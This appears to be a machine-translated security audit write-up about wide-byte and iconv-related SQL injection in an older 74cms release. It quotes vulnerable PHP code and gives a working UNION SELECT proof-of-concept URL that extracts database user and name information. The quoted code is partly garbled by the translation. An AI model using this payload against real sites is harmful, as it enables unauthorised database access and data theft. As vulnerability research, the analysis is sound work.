In those years, we will explore the global protection of SQL Injection Bypass wide byte injection.

Source: Internet
Author: User

In those years, we will explore the global protection of SQL Injection Bypass wide byte injection.
0x01 background

First, let's take a look at the wide byte injection. The wide byte injection is caused by the error set: set character_set_client = gbk when the programmer sets the MySQL connection. This configuration will cause the injection vulnerability caused by encoding conversion. The principle is as follows:
1. Normally, when GPC is enabled or the addslashes function is used to filter parameters submitted by GET or POST, the single quotation marks used by hackers will be escaped :\';
2. however, if there is a wide byte injection, when we enter % df % 27, the escape from the single quotes mentioned above is % df % 5c % 27 (% 5c is a backslash \), before the database query, because GBK multi-byte encoding is used, that is, two bytes within the Chinese character encoding range will be encoded as one Chinese character. Then, the MySQL server will encode the query statement by GBK, that is, % df % 5c is converted into a Chinese character "running" (NOTE: For the range of GBK Chinese character encoding, see the appendix), and the single quotation marks are escaped, this results in an injection vulnerability.
Now, mysql connections are basically configured as "set character_set_client = binary" to solve this problem, so this article will introduce the injection problem caused by character encoding in php.

0x02 environment setup

Check the background. We use the 74cms program of a lower version. The version is 3.4 (20140310)
Source code can be found online, I packed a: http://pan.baidu.com/s/1c1mLCru
② Decompress the package to the 74cms (20140310) Directory of www, access http: // localhost/74cms (20140310) in the browser, and install it step by step as prompted, if you have any problems with the installation, go to Baidu or Google. After successful installation, visit:

0x03 Vulnerability Analysis

Part1: source code structure

The source code structure is clear, and it should be the clearest structure audited. It mainly includes the following three parts:

 

 

Index. php introduced the common. inc. php file. We followed up with common. inc. php and found the function for processing gpc:

if (!empty($_GET)) { $_GET  = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE   = addslashes_deep($_COOKIE); $_REQUEST  = addslashes_deep($_REQUEST); 

We can see that addslashes will be processed when the server processes the GET and POST requests.
To prevent wide-byte injection, 74cms sets the MySQL connection to binary reading and configures it in/include/mysql. class. php:

Function connect ($ dbhost, $ dbuser, $ dbpw, $ dbname = '', $ dbcharset = 'gbk', $ connect = 1) {$ func = empty ($ connect )? 'Mysql _ pconnect ': 'mysql _ connect'; if (! $ This-> linkid = @ $ func ($ dbhost, $ dbuser, $ dbpw, true) {$ this-> dbshow ('can not connect to Mysql! ');} Else {if ($ this-> dbversion ()> '4. 1') {mysql_query ("set names gbk"); if ($ this-> dbversion ()> '5. 0.1 ') {mysql_query ("SET SQL _mode ='' ", $ this-> linkid); // character_set_client = binary mysql_query (" SET character_set_connection = ". $ dbcharset. ", character_set_results = ". $ dbcharset. ", character_set_client = binary", $ this-> linkid );}}}

 

Next, let's take a look at the consequences of using the iconv function in php.

Part2: Audit Process

Injection Analysis:
1. In the/plus/ajax_user.php registry:

Elseif ($ act = 'do _ reg ') {$ captcha = get_cache ('captcha'); if ($ captcha ['verify _ userreg '] = "1 ") {$ postcaptcha =$ _ POST ['postcaptcha ']; if ($ captcha ['captcha _ lang'] = "cn" & strcasecmp (QISHI_DBCHARSET, "utf8 ")! = 0) {$ postcaptcha = iconv ("UTF-8", QISHI_DBCHARSET, $ postcaptcha);} if (empty ($ postcaptcha) | empty ($ _ SESSION ['imagecaptcha _ content']) | strcasecmp ($ _ SESSION ['imagecaptcha _ content'], $ postcaptcha )! = 0) {exit ("err") ;}} require_once (QISHI_ROOT_PATH. 'include/fun_user.php '); $ username = isset ($ _ POST ['username'])? Trim ($ _ POST ['username']): exit ("err"); $ password = isset ($ _ POST ['Password'])? Trim ($ _ POST ['Password']): exit ("err"); $ member_type = isset ($ _ POST ['Member _ type'])? Intval ($ _ POST ['Member _ type']): exit ("err"); $ email = isset ($ _ POST ['email '])? Trim ($ _ POST ['email ']): exit ("err"); if (strcasecmp (QISHI_DBCHARSET, "utf8 ")! = 0) {// encode and convert the registered name from UTF-8 to GBK $ username = iconv ("UTF-8", QISHI_DBCHARSET, $ username ); $ password = iconv ("UTF-8", QISHI_DBCHARSET, $ password);} $ register = user_register ($ username, $ password, $ member_type, $ email );

 

Here we will think about the word "encoding". Its UTF-8 encoding is e98ca6, its gbk encoding is e55c, And the backslash \ is exactly 5c as mentioned above.
Therefore, if we set username to: quota', first escape the single quotes through the addlashes function or GPC into: quota \', then, upon registration, the icnov function will convert "handler" to gbk encoding, and finally % e5 % 5c % 5c % 27. The backslash is escaped (% 5c % 5c), which causes the injection vulnerability to escape through single quotes.

 

2. We will continue to follow up on $ register = user_register ($ username, $ password, $ member_type, $ email );
Here, the user_register function is in/include/fun_user.php:

// Check the resume completion degree // register the member function user_register ($ username, $ password, $ member_type = 0, $ email, $ uc_reg = true) {global $ db, $ timestamp, $ _ CFG, $ online_ip, $ QS_pwdhash; $ member_type = intval ($ member_type); // The get_user_inusername function is used to determine whether the user name already exists, follow up with $ ck_username = get_user_inusername ($ username); $ ck_email = get_user_inemail ($ email );...... return $ insert_id ;}

3. Continue to follow up the get_user_inusername function in/include/fun_user.php:

Function get_user_inusername ($ username) {global $ db; // You can inject it into the query ~ $ SQL = "select * from ". table ('members '). "where username = '{$ username}' LIMIT 1"; return $ db-> getone ($ SQL );}

Injection 2 analysis:
In plus/ajax_street.php:

Elseif ($ act = 'key') {$ key = trim ($ _ GET ['key']); if (! Empty ($ key) {if (strcasecmp (QISHI_DBCHARSET, "utf8 ")! = 0) // convert the parameter key from UTF-8 to GBK encoding $ key = iconv ("UTF-8", QISHI_DBCHARSET, $ key); // bring in the query, $ result = $ db-> query ("select * from ". table ('category '). "where c_alias = 'qs _ Street' AND c_name LIKE '% {$ key} %'"); // output the query result to the page, while ($ row = $ db-> fetch_array ($ result) {if ($ listtype = "li") {$ htm. ="
  • {$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}"; } else { $_GET['streetid']=$row['c_id']; $url=url_rewrite('QS_street',$_GET); $htm.="
    • {$ Url} \ "title = \" {$ row ['C _ note']} \ "class = \" vtip \ "> {$ row ['C _ name'] }{$ row ['stat _ job']} ";};} if (empty ($ htm) {$ htm = "noinfo \"> NO keyword found: {$ key} related path! ";}Exit ($ htm );}}

     

    The analysis here finds that the page shows the query results and constructs some union query statements to obtain sensitive information about the database.

    0x04 proof of vulnerability

    We use injection 2 (with ECHO) for proof.
    It is found that the 74cms category table has nine fields, so the POC for getting database users and related information is constructed:

    http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23 


    Check the SQL statement and find that the backslash in the query statement is transferred. The single quotation marks are successfully escaped:

    Finally, if you are interested, you can continue to obtain information about other administrator accounts and other related fields.

    The range of GBK Chinese character encoding:

    The Chinese Character area includes:
    A. GB 2312 Chinese Character area. That is, GBK/2: B0A1-F7FE. 2312 GB 6763 Chinese characters, in the original order.
    B. Expand the Chinese character area in GB 13000.1. Including:
    (1) GBK/3: 8140-A0FE. 13000.1 CJK Chinese Characters in GB 6080 are included.
    (2) GBK/4: AA40-FEA0. 8160 CJK Chinese characters and supplemented Chinese characters are included. The CJK Chinese characters are in front, arranged by the size of the UCS code; the supplemented Chinese characters (including the radicals and components) are arranged by the page number/character bit of Kangxi Dictionary.

    We can see that the two characters in GBK encoding are one Chinese character, and the first character must be greater than 128.

     

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.